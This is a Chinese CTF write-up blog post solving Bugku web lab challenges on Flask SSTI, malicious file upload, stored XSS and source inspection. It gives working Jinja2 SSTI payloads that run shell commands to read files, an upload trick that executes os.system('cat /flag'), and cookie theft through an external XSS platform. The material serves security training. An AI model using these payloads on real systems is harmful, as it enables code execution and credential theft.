首页 > 其他分享 >[Bugku] web-CTF靶场详解!!!

[Bugku] web-CTF靶场详解!!!

时间:2024-07-31 21:55:02浏览次数:18  
标签:web Bugku xss text flag __.__ CTF user TABLE

            平台为“山东安信安全技术有限公司”自研CTF/AWD一体化平台,部分赛题采用动态FLAG形式,避免直接抄袭答案。

           平台有题库、赛事预告、工具库、Writeup库等模块。

-------------------------------

Simple_SSTI_1

                         启动环境:

               

              页面提示传入参数flag 

 

           F12查看源码得到第二个提示

      SECRET_KEY(秘钥)是Flask中重要的一个配置值,在这题,构造语句查看它,得到flag

      SECRET_KEY(秘钥)是Flask中重要的一个配置值,在这题,构造语句查看它,得到flag

-------------------------------------------------

Simple_SSTI_2

                         启动环境:

   页面提示传入参数flag 

             f12查看源码,发现没有提示信息。

            

           通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件(读取网站系统目录),发现如下的文件夹:

           通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}读取读取app目录下的文件,发现存在flag文件 

            通过{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}读取flag内容,读取flag内容,最终得到flag 

 

----------------------------------------

Flask_FileUpload

                                启动环境:

           发现是上传文件

        随便找张图片上传试试 

     查看源代码f12进入    注释告诉我们,会运行python的文件

     根据需求,编写代码  写一个python代码改成jpg或者png格式的文件

import os
os.system('cat /flag')

​ 

  上传 看看     在元素中即可查看flag

​ 

----------------------------------------

留言板:

              开启环境:

提示需登录后台,需要使用python平台接收flag

打开场景后,出现了下面的界面。

  • 看到此类的题目,应该和存储型xss有关,也就是将恶意代码保存到服务器端
  • 即然在服务器端,那就是会在后台弹出窗口了
  • 所以需要找到后台地址,看看能不能爆破进入,但是题目提示了说不需要登录后台,需要使用xss平台来接收cookies
  • 测试一下script代码:

          发现确实可以读取到。

         使用目录扫描工具-御剑进行扫描试试

        得到后台管理地址:/admin.php 

          账号密码不知道?
          需要注意的是:该题目提示了无需登录后台!需要xss平台接收flag, http协议需要http协议的xss平台
           所以,我们需要找一个xss平台(https://xssaq.com/),目前我找到的这个是免费可用的,其他的都需要付费。

           将项目中提供的代码输入留言板中:

 在查看扫描出来的db.sql(本人没扫出来)不知道他们怎么扫出来的

# Host: localhost  (Version: 5.5.53)
# Date: 2019-08-04 16:13:22
# Generator: MySQL-Front 5.3  (Build 4.234)
 
/*!40101 SET NAMES utf8 */;
 
#
# Structure for table "text"
#
 
CREATE DATABASE xss DEFAULT CHARACTER SET utf8;
use xss; 
 
DROP TABLE IF EXISTS `text`;
CREATE TABLE `text` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `text` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
 
#
# Data for table "text"
#
 
/*!40000 ALTER TABLE `text` DISABLE KEYS */;
/*!40000 ALTER TABLE `text` ENABLE KEYS */;
 
#
# Structure for table "user"
#
 
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) DEFAULT NULL,
  `password` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
 
#
# Data for table "user"
#
 
/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
/*!40000 ALTER TABLE `user` ENABLE KEYS */;

  

           底部存在一组 user passwd

 

         尝试解码登录

      反射我们刚刚xss语句,我们在回到xss平台获得信息

       查看获得cookie,flag加密信息,解码获得flag

-------------------------------------------

滑稽:

                    开启环境:

                打开为以下界面

           查看源代码 获得flag

标签:web,Bugku,xss,text,flag,__.__,CTF,user,TABLE
From: https://blog.csdn.net/muyuchen110/article/details/140803652

相关文章

  • ctfshow-web入门-nodejs系列
    web334下载源码后缀改为zip打开即可先对源码经行一个简单的分析login.js//引入Express框架varexpress=require('express');//创建一个路由实例varrouter=express.Router();//引入用户数据,假设user模块导出的是一个包含用户项的对象varusers=require('../m......
  • 探索WebKit的媒体源扩展:Web应用的多媒体革新
    探索WebKit的媒体源扩展:Web应用的多媒体革新在当今的Web应用开发中,多媒体内容的流畅播放是用户体验的关键组成部分。WebKit,作为Safari浏览器的心脏,提供了一套强大的API,即媒体源扩展(MediaSourceExtensions,MSE),它允许开发者在Web页面上动态地创建、修改和控制媒体内容的播放......
  • 掌控Web未来:WebKit中Web应用清单(Manifest)的全面支持
    掌控Web未来:WebKit中Web应用清单(Manifest)的全面支持Web应用清单,通常指的是manifest.json文件,是渐进式Web应用(PWA)的核心组成部分。它为Web应用提供了一个声明式接口,允许Web页面在没有浏览器传统界面的情况下运行,使得Web应用能够更接近原生应用的体验。WebKit作为许多现代浏......
  • BUUCTF [GXYCTF2019]simple CPP
    buu上的一道z3题,记录一下z3奇怪的用法。首先扔进ida,打开主函数,非常混乱的算法,大概发现两个关键点:这里应该是对flag进行异或得到v6而这里的比较应该就是求解flag的关键,可以看出来有四个未知数,求解也是非常简单,z3直接求解即可:fromz3import*x,y,z,w=BitVecs("xyz......
  • Web : EL表达式 -15
    EL表达式概述EL全名为ExpressionLanguage,用来替代<%= %>脚本表达式。基本结构为${表达式}。获取数据获取常量<h1>获取常量</h1>${123}${123.32}${"abc"}${true}获取变量el会自动从四大作用域中搜寻域属性来使用如果找不到什么都不输出<h1>获取变量</h......
  • Postman中测试Webhooks的全面指南
    Webhooks是一种在互联网上进行事件通知的简单而有效的方式。它们允许服务在事件发生时将信息推送给订阅者,而不是让订阅者轮询服务以检查是否有更新。Postman是一个多功能的API开发工具,它不仅可以用于测试RESTfulAPI,还可以用于测试Webhooks。本文将详细介绍如何在Postman中......
  • 基于 STM32 的 NAS私有云盘搭建:集成LwIP 协议、HTTP/HTTPS、WEB前端技术栈(代码示例)
    项目概述在本项目中,我们将搭建一个基于STM32的NAS(网络附加存储)私盘,通过网络访问存储在外部SATA硬盘上的文件。该项目将使用STM32开发板、外接SATA硬盘、LwIP协议栈以及FATFS文件系统来实现文件的上传、下载和管理,用户可以通过简单的Web界面进行操作。系统设计......
  • Javaweb项目|基于SpringBoot的企业客户管理系统的设计与实现【源码+论文+PPT+部署视频
    我们提供多元化的技术项目服务,涵盖Java、PHP、Python等编程语言,以及前端开发、人工智能、大数据、单片机开发、ASP.NET、物联网等领域。我们还提供简历模板、面试题库和学习资料,帮助用户提升技术能力和就业竞争力。我们的服务内容包括:免费功能设计、任务书和开题报告撰写、中......
  • Javaweb项目|springboot基于JavaWeb技术的在线考试系统设计与实现【源码+论文+PPT+部
    我们提供多元化的技术项目服务,涵盖Java、PHP、Python等编程语言,以及前端开发、人工智能、大数据、单片机开发、ASP.NET、物联网等领域。我们还提供简历模板、面试题库和学习资料,帮助用户提升技术能力和就业竞争力。我们的服务内容包括:免费功能设计、任务书和开题报告撰写、中......
  • Javaweb项目|基于SpringBoot的企业客户管理系统的设计与实现
    收藏点赞不迷路 关注作者有好处文末获取源码一、系统展示二、万字文档展示 基于基于SpringBoot的企业客户管理系统的设计与实现开发语言:Java数据库:MySQL技术:Spring+SpringMVC+MyBatis+Vue工具:IDEA/Ecilpse、Navicat、Maven 编号:springboot024一、系统展示二......